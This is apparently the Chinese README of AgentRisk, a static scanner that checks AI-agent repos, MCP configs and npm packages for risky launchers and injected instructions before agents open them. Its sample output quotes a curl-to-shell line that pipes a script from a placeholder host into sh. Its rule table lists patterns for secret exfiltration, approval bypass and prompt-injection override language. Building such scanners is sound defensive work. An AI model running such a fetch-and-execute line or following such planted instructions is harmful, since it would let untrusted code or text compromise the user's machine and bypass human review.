内容
# AgentRisk
[](https://github.com/Renga154/agentrisk/actions/workflows/ci.yml)
[](https://www.npmjs.com/package/agentrisk)
[](LICENSE)
[English](README.md) | [日本語](README.ja.md)
AgentRisk 是一款用于 AI 智能体工作区的 **扫描前信任 CLI 和 MCP 服务器**。指向一个未知的仓库、GitHub URL、npm 包或 tarball，在 AI 编码智能体打开它之前，AgentRisk 会标记风险的 MCP 启动器、安装脚本和仓库指令，而无需执行目标。
可以把它看作 `.mcp.json`、`AGENTS.md`、`SKILL.md`、Cursor 规则、Copilot 指令和 `package.json` 的安全门：它有助于在智能体有机会遵循它们之前捕获“下载并运行此脚本”、“转发此秘密”和“忽略审批”模式。
它永远不会连接到 MCP 服务器。它永远不会运行包脚本。它永远不会安装目标依赖。它永远不会要求 LLM 来决定你的工作区是否安全。
```bash
npx --yes agentrisk@latest scan https://github.com/owner/suspicious-agent-repo
npx --yes agentrisk@latest scan npm:some-mcp-server@1.2.3
npx --yes agentrisk@latest scan ./downloaded-agent.tgz
npx --yes agentrisk@latest mcp config
```
```text
AgentRisk scan
Source: github owner/suspicious-agent-repo
Root: /repo
Files: 3 scanned, 3 matched
Verdict: BLOCK
Findings: 3 critical, 4 high, 2 medium
CRITICAL
mcp-remote-fetch-exec [high]
MCP server "bootstrap" appears to download and execute remote code.
.mcp.json:5:23
evidence: bash -c curl https://example.invalid/install.sh | sh
fix: Pin a reviewed package or binary and avoid curl-to-shell, wget-to-shell, or PowerShell Invoke-Expression bootstraps.
```
## 快速开始
在不安装 AgentRisk 的情况下，扫描一个仓库、npm 包或本地存档：
```bash
npx --yes agentrisk@latest scan github:owner/repo#main
npx --yes agentrisk@latest scan npm:some-mcp-server@1.2.3
npx --yes agentrisk@latest scan ./downloaded-agent.tgz
```
将 AgentRisk 添加到 MCP 客户端：
```bash
npx --yes agentrisk@latest mcp config
```
这将打印一个可以直接复制的配置：
```json
{
"mcpServers": {
"agentrisk": {
"command": "npx",
"args": ["-y", "agentrisk@latest", "mcp"]
}
}
}
```
使用 `pass` 作为绿灯，`review` 作为需要人工审查，`block` 作为暂缓执行，`incomplete` 作为修复解析/读取错误后再信任该工件。
## 为什么存在
AI 智能体越来越多地读取仓库指令并从本地配置执行工具调用。这使得 `.mcp.json`、`AGENTS.md`、`.cursor/rules/*`、`SKILL.md`、`.github/agents/*` 和 `package.json` 等文件成为智能体供应链的一部分。
AgentRisk 为开发人员和安全团队提供了一个本地的可审查门控：
- 在打开或安装之前，扫描不受信任的智能体仓库、包和存档
- 捕获风险的 MCP 启动命令和带有秘密的环境转发
- 标记提示注入样式的仓库指令
- 为 GitHub 代码扫描生成 SARIF
- 保持所有检查的确定性和可审计性
## 扫描内容
AgentRisk 目前发现：
- `.mcp.json`
- `mcp.json`
- `claude_desktop_config.json`
- `.cursor/rules/**/*`
- `.github/agents/**/*`
- `SKILL.md`
- `AGENTS.md`
- `CLAUDE.md`
- `GEMINI.md`
- `.github/copilot-instructions.md`
- `package.json`
## 内置规则
| 规则 | 默认 | 标志内容 |
| --- | --- | --- |
| `mcp-remote-fetch-exec` | critical | 下载并执行远程代码的 MCP 命令 |
| `mcp-privileged-container` | critical | 具有主机级权限或敏感挂载的 Docker MCP 启动 |
| `mcp-shell-wrapper-command` | high | 隐藏在 shell 包装器后面的 MCP 启动命令 |
| `mcp-unpinned-dlx` | medium | 没有明显版本固定的包、语言和容器启动器 |
| `mcp-sensitive-env-pass-through` | high | 秘密般或广泛的环境转发到 MCP 服务器 |
| `mcp-external-binary-reference` | medium | 扫描工件外部的绝对可执行路径 |
| `package-postinstall-remote-exec` | critical | 具有远程执行的安装生命周期脚本 |
| `package-script-shell-trampoline` | medium | 隐藏行为的包脚本 |
| `instruction-secret-exfiltration` | critical | 读取或打印秘密的指令 |
| `instruction-approval-bypass` | high | 鼓励跳过审批或审查的指令 |
| `instruction-policy-override` | high | 提示注入样式的覆盖语言 |
| `instruction-remote-tool-install` | medium | 安装或执行外部工具的指令 |
| `conflicting-agent-instructions` | medium | 跨智能体指令文件的冲突安全指导 |
检查规则包：
```bash
npx --yes agentrisk@latest rules list
npx --yes agentrisk@latest rules show mcp-remote-fetch-exec
```
检查的语料库目前报告 **3/3 良性案例干净** 和 **5/5 恶意案例检测**。请参阅 [docs/corpus-report.md](docs/corpus-report.md)，使用 `npm run corpus:evaluate` 生成。
## 信任前扫描
在不安装的情况下使用：
```bash
npx --yes agentrisk@latest scan .
```
预检远程工件：
```bash
# GitHub 仓库默认分支
npx --yes agentrisk@latest scan https://github.com/modelcontextprotocol/servers
# GitHub 缩写带引用
npx --yes agentrisk@latest scan github:owner/repo#v1.2.3
# npm 包 tarball，已下载并提取，但不运行脚本
npx --yes agentrisk@latest scan npm:some-mcp-server@1.2.3
# 本地或远程 tarballs
npx --yes agentrisk@latest scan ./agent-server.tgz
npx --yes agentrisk@latest scan https://example.com/agent-server.tar.gz
```
对于远程、npm 和存档目标，AgentRisk 忽略任何目标提供的 `agentrisk.config.json`, 除非您明确传递 `--config`。不受信任的工件不应通过其自己的扫描来配置。
## 安装
全局安装：
```bash
npm install -g agentrisk
agentrisk scan .
```
从检出的仓库使用：
```bash
npm install
npm run build
node dist/cli.cjs scan .
node dist/mcp-cli.cjs
```
## CLI
```bash
agentrisk scan [path]
agentrisk rules list
agentrisk rules show <ruleId>
agentrisk config print [path]
agentrisk schema config
agentrisk schema report
agentrisk mcp
agentrisk mcp config
```
有用的扫描标志：
```bash
agentrisk scan . --format terminal
agentrisk scan . --format json --output agentrisk.json
agentrisk scan . --format markdown --output agentrisk.md
agentrisk scan . --format sarif --output agentrisk.sarif
agentrisk scan github:owner/repo#main --max-download-size 25000000
agentrisk scan . --fail-on medium
agentrisk scan . --exclude-rule mcp-unpinned-dlx
agentrisk scan . --gitignore
```
## MCP 服务器
AgentRisk 可以作为本地_stdio MCP 服务器运行，以便 LLM 客户端可以要求它扫描工件，然后再信任它。
服务器公开一个工具：
- `agentrisk_scan`：静态扫描本地路径、GitHub 目标、npm 包或存档，并返回文本摘要和结构化的 AgentRisk 报告
直接运行：
```bash
npx --yes agentrisk@latest mcp
```
生成配置片段：
```bash
npx --yes agentrisk@latest mcp config
```
MCP 客户端配置示例：
```json
{
"mcpServers": {
"agentrisk": {
"command": "npx",
"args": ["-y", "agentrisk@latest", "mcp"]
}
}
}
```
MCP 模式保持与 CLI 相同的安全模型：它可能会读取本地文件并下载明确请求的 GitHub/npm/存档目标，但它不会执行目标代码、运行包脚本、安装依赖项或连接到目标 MCP 服务器。
退出代码：
- `0`：扫描完成，没有发现符合 `--fail-on` 的情况
- `1`：扫描完成，至少有一个发现符合 `--fail-on`，或扫描不完整
- `2`：无效命令用法或配置
- `3`：运行时失败
## 配置
创建 `agentrisk.config.json`：
```json
{
"version": 1,
"profile": "recommended",
"failOn": "high",
"minSeverity": "low",
"exclude": ["**/fixtures/**"],
"rules": {
"mcp-unpinned-dlx": "low",
"instruction-remote-tool-install": "off"
}
}
```
`profile: "strict"` 将中等严重性发现提升为高。这对于希望 CI 因较弱的供应链和策略信号而失败的仓库非常有用，而无需重写每个规则覆盖。
打印已解析的配置：
```bash
agentrisk config print .
```
生成模式：
```bash
agentrisk schema config > agentrisk-config.schema.json
agentrisk schema report > agentrisk-report.schema.json
```
## GitHub Actions
使用打包的操作：
```yaml
name: AgentRisk
on:
pull_request:
jobs:
agentrisk:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v5
- uses: Renga154/agentrisk@v0.2.1
with:
format: sarif
output: agentrisk.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: agentrisk.sarif
```
或直接运行 npm 包：
```yaml
name: AgentRisk
on:
pull_request:
push:
branches: [main]
jobs:
agentrisk:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v5
- uses: actions/setup-node@v5
with:
node-version: 22
- run: npx --yes agentrisk@0.2.1 scan . --format sarif --output agentrisk.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: agentrisk.sarif
```
## 安全模型
AgentRisk 是一个静态扫描器。它有助于在执行前发现风险模式，但它不能证明工作区是安全的。
AgentRisk 执行以下操作：
- 读取目标工作区的本地文件
- 下载 GitHub/npm/存档目标（当您明确传递这些目标时）
- 解析已知的配置和指令格式
- 运行确定的内置规则
- 打印证据和位置
AgentRisk 不会：
- 执行 MCP 服务器
- 运行包脚本
- 安装目标的依赖项
- 默认情况下遵守目标 `.gitignore`
- 信任目标提供的 AgentRisk 配置以获取远程/npm/存档目标
- 连接到模型提供程序
- 自身将内容发送到 LLM；MCP 客户端决定显示什么给模型
- 将工作区内容发送到远程服务
- 保证零误报或完整的覆盖率
## 路线图
- 扩展公共恶意/良性语料库，包含现实世界的减少案例
- 添加与相邻工具的逐项评估说明
- 为大型仓库添加基准抑制文件
- 添加已签名的社区规则包
- 扩展工具、数据访问和网络出口的能力图分析
## 开发
```bash
npm install
npm test
npm run typecheck
npm run build
npm run check
```
## 责任披露
如果您认为 AgentRisk 遗漏了危险模式或报告了不安全建议，请在仓库公开时在 GitHub 上开启私人安全咨询。对于正常的误报，请使用最小可复制的固定装置开启问题。
## 许可证
Apache-2.0
